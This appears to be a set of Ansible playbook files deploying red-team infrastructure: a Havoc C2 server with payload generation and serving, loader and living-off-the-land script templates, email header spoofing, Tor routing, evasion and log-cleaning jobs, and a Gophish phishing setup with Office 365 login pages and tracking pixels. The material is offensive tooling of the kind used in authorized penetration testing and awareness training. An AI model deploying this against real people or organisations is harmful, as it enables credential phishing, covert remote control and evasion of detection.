- { src: "../templates/lotl-powershell.ps1.j2", dest: "/root/Tools/phishing/templates/lotl-powershell.ps1" }
|
||||
- { src: "../templates/lotl-wmic.cmd.j2", dest: "/root/Tools/phishing/templates/lotl-wmic.cmd" }
|
||||
- { src: "../templates/lotl-bitsadmin.cmd.j2", dest: "/root/Tools/phishing/templates/lotl-bitsadmin.cmd" }
|
||||
|
||||
- name: Set up CDN abuse configuration
|
||||
template:
|
||||
src: "../templates/cdn-abuse.py.j2"
|
||||
dest: "/root/Tools/phishing/cdn-abuse.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: enable_cdn_abuse | default(false) | bool
|
||||
|
||||
- name: Create domain reputation monitoring
|
||||
template:
|
||||
src: "../templates/reputation-monitor.py.j2"
|
||||
dest: "/root/Tools/phishing/reputation-monitor.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Set up cron job for reputation monitoring
|
||||
cron:
|
||||
name: "Domain reputation monitoring"
|
||||
minute: "0"
|
||||
hour: "*/4"
|
||||
job: "/root/Tools/phishing/reputation-monitor.py >> /root/Tools/phishing/logs/reputation.log 2>&1"
|
||||
|
||||
- name: Create email header spoofing tools
|
||||
template:
|
||||
src: "../templates/header-spoofing.py.j2"
|
||||
dest: "/root/Tools/phishing/header-spoofing.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Configure Tor for anonymization
|
||||
template:
|
||||
src: "../templates/torrc-phishing.j2"
|
||||
dest: "/etc/tor/torrc"
|
||||
backup: yes
|
||||
notify: restart tor
|
||||
when: enable_tor_routing | default(false) | bool
|
||||
|
||||
- name: Create user-agent rotation script
|
||||
template:
|
||||
src: "../templates/user-agent-rotation.py.j2"
|
||||
dest: "/root/Tools/phishing/user-agent-rotation.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Set up automated evasion techniques
|
||||
template:
|
||||
src: "../templates/automated-evasion.py.j2"
|
||||
dest: "/root/Tools/phishing/automated-evasion.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
handlers:
|
||||
- name: restart tor
|
||||
systemd:
|
||||
name: tor
|
||||
state: restarted
|
||||
@@ -0,0 +1,344 @@
|
||||
---
|
||||
# Common tasks for configuring C2 server with Havoc C2 and EDR evasion
|
||||
# Shared across all providers
|
||||
|
||||
- name: Update apt cache
|
||||
apt:
|
||||
update_cache: yes
|
||||
|
||||
- name: Disable default Kali MOTD
|
||||
file:
|
||||
path: "{{ ansible_env.HOME }}/.hushlogin"
|
||||
state: touch
|
||||
mode: '0644'
|
||||
when: ansible_distribution == "Kali GNU/Linux"
|
||||
|
||||
- name: Set a custom MOTD
|
||||
template:
|
||||
src: "../templates/motd.j2"
|
||||
dest: /etc/motd
|
||||
owner: root
|
||||
group: root
|
||||
mode: '0644'
|
||||
|
||||
- name: Install base utilities and tools via apt
|
||||
apt:
|
||||
name:
|
||||
- git
|
||||
- wget
|
||||
- curl
|
||||
- unzip
|
||||
- python3-pip
|
||||
- python3-venv
|
||||
- tmux
|
||||
- pipx
|
||||
- nmap
|
||||
- tcpdump
|
||||
- hydra
|
||||
- john
|
||||
- hashcat
|
||||
- sqlmap
|
||||
- gobuster
|
||||
- dirb
|
||||
- enum4linux
|
||||
- dnsenum
|
||||
- seclists
|
||||
- responder
|
||||
- golang
|
||||
- proxychains
|
||||
- tor
|
||||
- crackmapexec
|
||||
- jq
|
||||
- build-essential
|
||||
- zip
|
||||
- unzip
|
||||
- postfix
|
||||
- net-tools
|
||||
- certbot
|
||||
- opendkim
|
||||
- opendkim-tools
|
||||
- dovecot-core
|
||||
- dovecot-imapd
|
||||
- dovecot-pop3d
|
||||
- dovecot-sieve
|
||||
- dovecot-managesieved
|
||||
- yq
|
||||
- build-essential
|
||||
# Additional Havoc C2 dependencies
|
||||
- mingw-w64
|
||||
- nasm
|
||||
- cmake
|
||||
- ninja-build
|
||||
- libfontconfig1
|
||||
- libglu1-mesa-dev
|
||||
- libgtest-dev
|
||||
- libspdlog-dev
|
||||
- libboost-all-dev
|
||||
- libncurses5-dev
|
||||
- libgdbm-dev
|
||||
- libssl-dev
|
||||
- libreadline-dev
|
||||
- libffi-dev
|
||||
- libsqlite3-dev
|
||||
- libbz2-dev
|
||||
- mesa-common-dev
|
||||
- qtbase5-dev
|
||||
- qtchooser
|
||||
- qt5-qmake
|
||||
- qtbase5-dev-tools
|
||||
- libqt5websockets5
|
||||
- libqt5websockets5-dev
|
||||
state: present
|
||||
|
||||
- name: Create directories for operational scripts
|
||||
file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
- /root/Tools
|
||||
- /root/Tools/beacons
|
||||
- /root/Tools/payloads
|
||||
|
||||
- name: Copy operational scripts
|
||||
copy:
|
||||
src: "{{ item }}"
|
||||
dest: "/root/Tools/{{ item | basename }}"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
- "../files/clean-logs.sh"
|
||||
- "../files/secure-exit.sh"
|
||||
- "../files/havoc_installer.sh"
|
||||
- "../files/havoc_shell_handler.sh"
|
||||
- "../files/secure_payload_sync.sh"
|
||||
|
||||
- name: Copy post-install script
|
||||
copy:
|
||||
src: "../files/post_install_c2.sh"
|
||||
dest: "/root/Tools/post_install_c2.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Copy port randomization script
|
||||
copy:
|
||||
src: "../files/randomize_ports.sh"
|
||||
dest: "/root/Tools/randomize_ports.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create post-install instructions
|
||||
template:
|
||||
src: "../templates/POST_INSTALL_INSTRUCTIONS.txt.j2"
|
||||
dest: "/root/POST_INSTALL_INSTRUCTIONS.txt"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Set up systemd timer for payload sync
|
||||
shell: |
|
||||
cat > /etc/systemd/system/payload-sync.service << 'EOF'
|
||||
[Unit]
|
||||
Description=Secure Payload Sync Service
|
||||
After=network-online.target
|
||||
|
||||
[Service]
|
||||
Type=oneshot
|
||||
ExecStart=/root/Tools/secure_payload_sync.sh
|
||||
User=root
|
||||
Group=root
|
||||
PrivateTmp=true
|
||||
StandardOutput=null
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
EOF
|
||||
|
||||
cat > /etc/systemd/system/payload-sync.timer << 'EOF'
|
||||
[Unit]
|
||||
Description=Secure Payload Sync Timer
|
||||
Requires=payload-sync.service
|
||||
|
||||
[Timer]
|
||||
OnBootSec=5min
|
||||
OnUnitActiveSec=30m
|
||||
RandomizedDelaySec=30m
|
||||
Persistent=true
|
||||
|
||||
[Install]
|
||||
WantedBy=timers.target
|
||||
EOF
|
||||
|
||||
systemctl daemon-reload
|
||||
systemctl enable payload-sync.timer
|
||||
systemctl start payload-sync.timer
|
||||
|
||||
- name: Install Havoc C2 Framework
|
||||
shell: "/root/Tools/havoc_installer.sh"
|
||||
args:
|
||||
creates: "/root/Tools/Havoc"
|
||||
async: 1800 # Allow 30 minutes for completion
|
||||
poll: 0 # Don't wait for completion
|
||||
register: havoc_installation_job
|
||||
|
||||
- name: Wait for Havoc installation to complete
|
||||
async_status:
|
||||
jid: "{{ havoc_installation_job.ansible_job_id }}"
|
||||
register: job_result
|
||||
until: job_result.finished
|
||||
retries: 60 # Check every 30 seconds for up to 30 minutes
|
||||
delay: 30
|
||||
when: havoc_installation_job is defined
|
||||
|
||||
- name: Display Havoc installation output
|
||||
debug:
|
||||
var: havoc_installation_result.stdout_lines
|
||||
when: havoc_installation_result.stdout_lines is defined
|
||||
|
||||
- name: Create Havoc payload generation script
|
||||
template:
|
||||
src: "../templates/generate_havoc_payloads.sh.j2"
|
||||
dest: "/root/Tools/generate_havoc_payloads.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create Havoc C2 configuration from template
|
||||
template:
|
||||
src: "../templates/havoc-config.yaotl.j2"
|
||||
dest: "/root/Tools/Havoc/data/havoc.yaotl"
|
||||
mode: '0600'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create Linux loader script template
|
||||
template:
|
||||
src: "../templates/linux_loader.sh.j2"
|
||||
dest: "/root/Tools/linux_loader.template"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create Windows PowerShell loader template
|
||||
template:
|
||||
src: "../templates/windows_loader.ps1.j2"
|
||||
dest: "/root/Tools/windows_loader.template"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create beacon server script from template
|
||||
template:
|
||||
src: "../templates/serve-havoc-payloads.sh.j2"
|
||||
dest: "/root/Tools/serve-havoc-payloads.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
vars:
|
||||
redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
|
||||
domain: "{{ domain }}"
|
||||
redirector_port: "{{ redirector_port | default('443') }}"
|
||||
|
||||
- name: Run port randomization if enabled
|
||||
include_tasks: port_randomization.yml
|
||||
when: randomize_ports | default(false) | bool
|
||||
|
||||
- name: Generate Havoc payloads
|
||||
shell: "/root/Tools/generate_havoc_payloads.sh"
|
||||
args:
|
||||
creates: "/root/Tools/Havoc/payloads/manifest.json"
|
||||
register: payload_generation_result
|
||||
environment:
|
||||
PATH: "{{ ansible_env.PATH }}:/usr/local/bin"
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Display payload generation output
|
||||
debug:
|
||||
var: payload_generation_result.stdout_lines
|
||||
when: payload_generation_result.stdout_lines is defined
|
||||
|
||||
- name: Start payload server
|
||||
shell: |
|
||||
nohup /root/Tools/serve-havoc-payloads.sh > /dev/null 2>&1 &
|
||||
args:
|
||||
executable: /bin/bash
|
||||
register: beacon_server_result
|
||||
|
||||
- name: Create NGINX configuration fragment for redirector
|
||||
template:
|
||||
src: "../templates/redirector-havoc-fragment.j2"
|
||||
dest: "/root/Tools/redirector-config.conf"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
vars:
|
||||
c2_ip: "{{ ansible_host }}"
|
||||
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
|
||||
|
||||
- name: Create Havoc usage guide
|
||||
template:
|
||||
src: "../templates/havoc-guide.j2"
|
||||
dest: "/root/havoc-guide.txt"
|
||||
mode: '0600'
|
||||
owner: root
|
||||
group: root
|
||||
vars:
|
||||
c2_ip: "{{ ansible_host }}"
|
||||
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
|
||||
|
||||
- name: Include traffic flow configuration
|
||||
include_tasks: "../tasks/traffic_flow_config.yml"
|
||||
|
||||
- name: Set up cron job for log cleaning if zero-logs enabled
|
||||
cron:
|
||||
name: "Clean logs"
|
||||
minute: "0"
|
||||
hour: "*/6"
|
||||
job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
|
||||
when: zero_logs | bool
|
||||
|
||||
- name: Ensure SSH key for redirector access is available
|
||||
block:
|
||||
- name: Copy deployment SSH key to C2 for redirector access (AWS)
|
||||
copy:
|
||||
src: "~/.ssh/c2deploy_{{ deployment_id }}.pem"
|
||||
dest: "/root/.ssh/redirector_key"
|
||||
mode: '0600'
|
||||
owner: root
|
||||
group: root
|
||||
when: provider == "aws"
|
||||
|
||||
- name: Copy deployment SSH key to C2 for redirector access (non-AWS)
|
||||
copy:
|
||||
src: "{{ ssh_key_path | replace('.pub', '') }}"
|
||||
dest: "/root/.ssh/redirector_key"
|
||||
mode: '0600'
|
||||
owner: root
|
||||
group: root
|
||||
when: provider != "aws"
|
||||
|
||||
- name: Create SSH config for redirector access
|
||||
blockinfile:
|
||||
path: /root/.ssh/config
|
||||
create: yes
|
||||
mode: '0600'
|
||||
owner: root
|
||||
group: root
|
||||
marker: "# {mark} ANSIBLE MANAGED REDIRECTOR CONFIG"
|
||||
block: |
|
||||
Host redirector
|
||||
HostName {{ redirector_ip }}
|
||||
User {{ ssh_user | default('root') }}
|
||||
IdentityFile /root/.ssh/redirector_key
|
||||
StrictHostKeyChecking no
|
||||
when: not redirector_only | bool and redirector_ip is defined
|
||||
|
||||
# Include integrated tracker tasks if requested
|
||||
- name: Include integrated tracker setup
|
||||
include_tasks: "configure_integrated_tracker.yml"
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
@@ -0,0 +1,111 @@
|
||||
---
|
||||
# FedRAMP compliance configuration for user awareness testing
|
||||
|
||||
- name: Create FedRAMP compliant landing pages
|
||||
template:
|
||||
src: "{{ item.src }}"
|
||||
dest: "{{ item.dest }}"
|
||||
mode: '0644'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
with_items:
|
||||
- { src: "../templates/fedramp-success-page.html.j2", dest: "/var/www/phishing/fedramp-success.html" }
|
||||
- { src: "../templates/fedramp-education-page.html.j2", dest: "/var/www/phishing/fedramp-education.html" }
|
||||
- { src: "../templates/fedramp-training-materials.html.j2", dest: "/var/www/phishing/training.html" }
|
||||
|
||||
- name: Create FedRAMP compliant email templates
|
||||
template:
|
||||
src: "{{ item.src }}"
|
||||
dest: "{{ item.dest }}"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
- { src: "../templates/fedramp-email-template.html.j2", dest: "/root/Tools/phishing/templates/fedramp-email.html" }
|
||||
- { src: "../templates/fedramp-notification-email.html.j2", dest: "/root/Tools/phishing/templates/fedramp-notification.html" }
|
||||
|
||||
- name: Configure anonymized reporting
|
||||
template:
|
||||
src: "../templates/fedramp-reporting.py.j2"
|
||||
dest: "/root/Tools/phishing/fedramp-reporting.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create role-based tracking system
|
||||
template:
|
||||
src: "../templates/role-tracking.py.j2"
|
||||
dest: "/root/Tools/phishing/role-tracking.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Set up immediate phish identification
|
||||
template:
|
||||
src: "../templates/immediate-identification.js.j2"
|
||||
dest: "/var/www/phishing/assets/immediate-identification.js"
|
||||
mode: '0644'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
- name: Create educational content delivery system
|
||||
template:
|
||||
src: "../templates/education-delivery.php.j2"
|
||||
dest: "/var/www/phishing/api/education.php"
|
||||
mode: '0644'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
- name: Configure compliance database schema
|
||||
shell: |
|
||||
sqlite3 /root/Tools/phishing/compliance.db << EOF
|
||||
CREATE TABLE IF NOT EXISTS fedramp_campaigns (
|
||||
id TEXT PRIMARY KEY,
|
||||
name TEXT NOT NULL,
|
||||
csp_organization TEXT NOT NULL,
|
||||
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
status TEXT DEFAULT 'active'
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS role_interactions (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
campaign_id TEXT NOT NULL,
|
||||
user_role TEXT NOT NULL,
|
||||
interaction_type TEXT NOT NULL,
|
||||
interaction_time DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
education_completed BOOLEAN DEFAULT FALSE
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS compliance_metrics (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
campaign_id TEXT NOT NULL,
|
||||
metric_type TEXT NOT NULL,
|
||||
metric_value INTEGER NOT NULL,
|
||||
recorded_at DATETIME DEFAULT CURRENT_TIMESTAMP
|
||||
);
|
||||
EOF
|
||||
args:
|
||||
creates: /root/Tools/phishing/compliance.db
|
||||
|
||||
- name: Set database permissions for compliance
|
||||
file:
|
||||
path: /root/Tools/phishing/compliance.db
|
||||
owner: www-data
|
||||
group: www-data
|
||||
mode: '0644'
|
||||
|
||||
- name: Create compliance report generator
|
||||
template:
|
||||
src: "../templates/compliance-report-generator.py.j2"
|
||||
dest: "/root/Tools/phishing/generate-compliance-report.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Configure email allowlisting instructions
|
||||
template:
|
||||
src: "../templates/allowlist-instructions.md.j2"
|
||||
dest: "/root/Tools/phishing/ALLOWLIST_INSTRUCTIONS.md"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
@@ -0,0 +1,198 @@
|
||||
---
|
||||
# Advanced Gophish configuration with enhanced evasion and features
|
||||
|
||||
- name: Create Gophish user
|
||||
user:
|
||||
name: gophish
|
||||
system: yes
|
||||
shell: /bin/bash
|
||||
home: /opt/gophish
|
||||
create_home: yes
|
||||
|
||||
- name: Download latest Gophish release
|
||||
get_url:
|
||||
url: "https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip"
|
||||
dest: /tmp/gophish.zip
|
||||
mode: '0644'
|
||||
|
||||
- name: Extract Gophish
|
||||
unarchive:
|
||||
src: /tmp/gophish.zip
|
||||
dest: /opt/gophish
|
||||
owner: gophish
|
||||
group: gophish
|
||||
remote_src: yes
|
||||
|
||||
- name: Install additional packages for advanced features
|
||||
apt:
|
||||
name:
|
||||
- nginx
|
||||
- certbot
|
||||
- python3-certbot-nginx
|
||||
- sqlite3
|
||||
- jq
|
||||
- curl
|
||||
- wget
|
||||
- php-fpm
|
||||
- php-sqlite3
|
||||
- nodejs
|
||||
- npm
|
||||
state: present
|
||||
|
||||
- name: Configure advanced Gophish settings
|
||||
template:
|
||||
src: "../templates/phishing/gophish-advanced-config.j2"
|
||||
dest: /opt/gophish/config.json
|
||||
owner: gophish
|
||||
group: gophish
|
||||
mode: '0600'
|
||||
|
||||
- name: Create enhanced email templates directory
|
||||
file:
|
||||
path: /opt/gophish/templates/{{ item }}
|
||||
state: directory
|
||||
owner: gophish
|
||||
group: gophish
|
||||
mode: '0755'
|
||||
loop:
|
||||
- email
|
||||
- landing
|
||||
- static
|
||||
|
||||
- name: Deploy email templates
|
||||
template:
|
||||
src: "../templates/phishing/email-templates/{{ item }}.j2"
|
||||
dest: "/opt/gophish/templates/email/{{ item }}.html"
|
||||
owner: gophish
|
||||
group: gophish
|
||||
mode: '0644'
|
||||
loop:
|
||||
- office365_login
|
||||
- password_expiry
|
||||
- security_alert
|
||||
- file_share
|
||||
when: not fedramp_mode | default(false) | bool
|
||||
|
||||
- name: Deploy FedRAMP compliant templates
|
||||
template:
|
||||
src: "../templates/phishing/fedramp-compliance.j2"
|
||||
dest: "/opt/gophish/templates/email/fedramp_template.html"
|
||||
owner: gophish
|
||||
group: gophish
|
||||
mode: '0644'
|
||||
when: fedramp_mode | default(false) | bool
|
||||
|
||||
- name: Create advanced landing pages
|
||||
template:
|
||||
src: "../templates/phishing/phishing-landing-page.j2"
|
||||
dest: "/opt/gophish/templates/landing/{{ item }}_landing.html"
|
||||
owner: gophish
|
||||
group: gophish
|
||||
mode: '0644'
|
||||
loop:
|
||||
- office365
|
||||
- generic
|
||||
- fedramp
|
||||
vars:
|
||||
template_type: "{{ item }}"
|
||||
|
||||
- name: Install enhanced tracking pixel
|
||||
copy:
|
||||
src: "../files/simple_email_tracker.py"
|
||||
dest: /opt/gophish/tracker.py
|
||||
owner: gophish
|
||||
group: gophish
|
||||
mode: '0755'
|
||||
|
||||
- name: Create Gophish database backup script
|
||||
template:
|
||||
src: "../templates/phishing/gophish-backup.sh.j2"
|
||||
dest: /opt/gophish/backup.sh
|
||||
owner: gophish
|
||||
group: gophish
|
||||
mode: '0755'
|
||||
|
||||
- name: Set up database backup cron
|
||||
cron:
|
||||
name: "Backup Gophish database"
|
||||
minute: "0"
|
||||
hour: "*/6"
|
||||
job: "/opt/gophish/backup.sh"
|
||||
user: gophish
|
||||
|
||||
- name: Create Gophish systemd service
|
||||
template:
|
||||
src: "../templates/phishing/gophish.service.j2"
|
||||
dest: /etc/systemd/system/gophish.service
|
||||
mode: '0644'
|
||||
|
||||
- name: Enable and start Gophish service
|
||||
systemd:
|
||||
name: gophish
|
||||
state: started
|
||||
enabled: yes
|
||||
daemon_reload: yes
|
||||
|
||||
- name: Create campaign automation script
|
||||
template:
|
||||
src: "../templates/phishing/campaign-automation.py.j2"
|
||||
dest: /opt/gophish/campaign-automation.py
|
||||
owner: gophish
|
||||
group: gophish
|
||||
mode: '0755'
|
||||
|
||||
- name: Install Python dependencies for automation
|
||||
pip:
|
||||
name:
|
||||
- requests
|
||||
- python-dateutil
|
||||
- jinja2
|
||||
state: present
|
||||
|
||||
- name: Configure SMTP relay to MTA front
|
||||
blockinfile:
|
||||
path: /opt/gophish/config.json
|
||||
marker: "// {mark} ANSIBLE MANAGED SMTP CONFIG"
|
||||
block: |
|
||||
"smtp": {
|
||||
"host": "{{ mta_front_ip }}:587",
|
||||
"username": "{{ smtp_relay_user }}",
|
||||
"password": "{{ smtp_relay_pass }}",
|
||||
"from": "{{ sender_email }}",
|
||||
"ignore_cert_errors": true
|
||||
}
|
||||
|
||||
- name: Create phishing metrics dashboard
|
||||
template:
|
||||
src: "../templates/phishing/metrics-dashboard.html.j2"
|
||||
dest: /opt/gophish/static/metrics.html
|
||||
owner: gophish
|
||||
group: gophish
|
||||
mode: '0644'
|
||||
|
||||
- name: Set up log aggregation
|
||||
lineinfile:
|
||||
path: /etc/rsyslog.conf
|
||||
line: "local0.* /var/log/gophish.log"
|
||||
state: present
|
||||
notify: restart rsyslog
|
||||
|
||||
- name: Configure log rotation for Gophish
|
||||
copy:
|
||||
dest: /etc/logrotate.d/gophish
|
||||
content: |
|
||||
/var/log/gophish.log {
|
||||
daily
|
||||
missingok
|
||||
rotate 30
|
||||
compress
|
||||
delaycompress
|
||||
notifempty
|
||||
create 0644 gophish gophish
|
||||
}
|
||||
|
||||
handlers:
|
||||
- name: restart rsyslog
|
||||
service:
|
||||
name: rsyslog
|
||||
state: restarted
|
||||
@@ -0,0 +1,150 @@
|
||||
---
|
||||
# Common task for configuring integrated email tracker on C2 server
|
||||
|
||||
- name: Check if integrated tracker setup is requested
|
||||
debug:
|
||||
msg: "Setting up integrated email tracker on C2 server"
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Install required packages for tracker
|
||||
apt:
|
||||
name:
|
||||
- python3-pip
|
||||
- python3-venv
|
||||
- python3-pillow
|
||||
- nginx
|
||||
- certbot
|
||||
- python3-certbot-nginx
|
||||
- jq
|
||||
state: present
|
||||
update_cache: yes
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Create tracker directory
|
||||
file:
|
||||
path: /root/Tools/tracker
|
||||
state: directory
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Create tracker data directory
|
||||
file:
|
||||
path: /root/Tools/tracker/data
|
||||
state: directory
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Create tracker system user
|
||||
user:
|
||||
name: tracker
|
||||
system: yes
|
||||
shell: /usr/sbin/nologin
|
||||
home: /root/Tools/tracker
|
||||
create_home: no
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Create Python virtual environment for tracker
|
||||
pip:
|
||||
virtualenv: /root/Tools/tracker/venv
|
||||
name:
|
||||
- flask
|
||||
- pillow
|
||||
- gunicorn
|
||||
virtualenv_command: /usr/bin/python3 -m venv
|
||||
environment:
|
||||
PATH: "/usr/local/bin:/usr/bin:/bin"
|
||||
vars:
|
||||
ansible_python_interpreter: /usr/bin/python3
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Copy tracker application code
|
||||
copy:
|
||||
src: "../files/simple_email_tracker.py"
|
||||
dest: /root/Tools/tracker/simple_email_tracker.py
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Copy tracker statistics CLI tool
|
||||
copy:
|
||||
src: "../files/tracker-stats.sh"
|
||||
dest: /root/Tools/tracker/tracker-stats.sh
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Copy systemd service file for tracker
|
||||
copy:
|
||||
src: "../files/tracker.service"
|
||||
dest: /etc/systemd/system/tracker.service
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Set correct permissions for tracker directories
|
||||
file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
owner: tracker
|
||||
group: tracker
|
||||
recurse: yes
|
||||
loop:
|
||||
- /root/Tools/tracker
|
||||
- /root/Tools/tracker/data
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Create NGINX site config for tracker
|
||||
template:
|
||||
src: "../files/tracker-nginx.conf"
|
||||
dest: /etc/nginx/sites-available/tracker
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
vars:
|
||||
tracker_domain: "{{ tracker_domain | default('track.' + domain) }}"
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Enable tracker NGINX site
|
||||
file:
|
||||
src: /etc/nginx/sites-available/tracker
|
||||
dest: /etc/nginx/sites-enabled/tracker
|
||||
state: link
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Configure redirector to proxy tracking requests
|
||||
lineinfile:
|
||||
path: /etc/nginx/sites-available/default
|
||||
insertafter: "^\\s*location / {"
|
||||
line: " # Email tracker proxy path\n location /px/(.*)\\.png$ {\n proxy_pass http://{{ c2_ip }}:443/pixel/$1.png;\n proxy_set_header Host {{ tracker_domain }};\n proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n proxy_set_header X-Real-IP $remote_addr;\n proxy_set_header X-Forwarded-Proto https;\n }"
|
||||
delegate_to: "{{ groups['redirectors'][0] }}"
|
||||
when: setup_integrated_tracker | default(false) | bool and groups['redirectors'] is defined
|
||||
|
||||
- name: Set up SSL if requested
|
||||
shell: |
|
||||
certbot --nginx -d {{ tracker_domain }} --non-interactive --agree-tos -m {{ tracker_email }}
|
||||
args:
|
||||
creates: /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem
|
||||
when: setup_integrated_tracker | default(false) | bool and tracker_setup_ssl | default(true) | bool
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Start and enable tracker service
|
||||
systemd:
|
||||
name: tracker
|
||||
state: started
|
||||
enabled: yes
|
||||
daemon_reload: yes
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Add tracker alias to bashrc for easy access
|
||||
lineinfile:
|
||||
path: /root/.bashrc
|
||||
line: 'alias tracker="/root/Tools/tracker/tracker-stats.sh"'
|
||||
state: present
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
@@ -0,0 +1,170 @@
|
||||
---
|
||||
# Common task for configuring mail server
|
||||
# Shared across all providers
|
||||
|
||||
- name: Configure Postfix main.cf
|
||||
lineinfile:
|
||||
path: /etc/postfix/main.cf
|
||||
regexp: "{{ item.regexp }}"
|
||||
line: "{{ item.line }}"
|
||||
with_items:
|
||||
- { regexp: '^myhostname', line: "myhostname = mail.{{ domain }}" }
|
||||
- { regexp: '^mydomain', line: "mydomain = {{ domain }}" }
|
||||
- { regexp: '^myorigin', line: "myorigin = $mydomain" }
|
||||
- { regexp: '^inet_interfaces', line: "inet_interfaces = all" }
|
||||
- { regexp: '^inet_protocols', line: "inet_protocols = ipv4" }
|
||||
- { regexp: '^smtpd_banner', line: "smtpd_banner = $myhostname ESMTP $mail_name" }
|
||||
- { regexp: '^mynetworks', line: "mynetworks = 127.0.0.0/8 [::1]/128" }
|
||||
- { regexp: '^relay_domains', line: "relay_domains = $mydestination" }
|
||||
- { regexp: '^smtpd_tls_cert_file', line: "smtpd_tls_cert_file = /etc/letsencrypt/live/{{ domain }}/fullchain.pem" }
|
||||
- { regexp: '^smtpd_tls_key_file', line: "smtpd_tls_key_file = /etc/letsencrypt/live/{{ domain }}/privkey.pem" }
|
||||
- { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = encrypt" }
|
||||
- { regexp: '^smtpd_tls_session_cache_database', line: "smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache" }
|
||||
- { regexp: '^smtp_tls_session_cache_database', line: "smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache" }
|
||||
- { regexp: '^smtpd_use_tls', line: "smtpd_use_tls = yes" }
|
||||
- { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = yes" }
|
||||
- { regexp: '^milter_default_action', line: "milter_default_action = accept" }
|
||||
- { regexp: '^milter_protocol', line: "milter_protocol = 6" }
|
||||
- { regexp: '^smtpd_milters', line: "smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
|
||||
- { regexp: '^non_smtpd_milters', line: "non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
|
||||
|
||||
- name: Configure OpenDKIM
|
||||
lineinfile:
|
||||
path: /etc/opendkim.conf
|
||||
regexp: "{{ item.regexp }}"
|
||||
line: "{{ item.line }}"
|
||||
with_items:
|
||||
- { regexp: '^Domain', line: "Domain {{ domain }}" }
|
||||
- { regexp: '^KeyFile', line: "KeyFile /etc/opendkim/keys/{{ domain }}/mail.private" }
|
||||
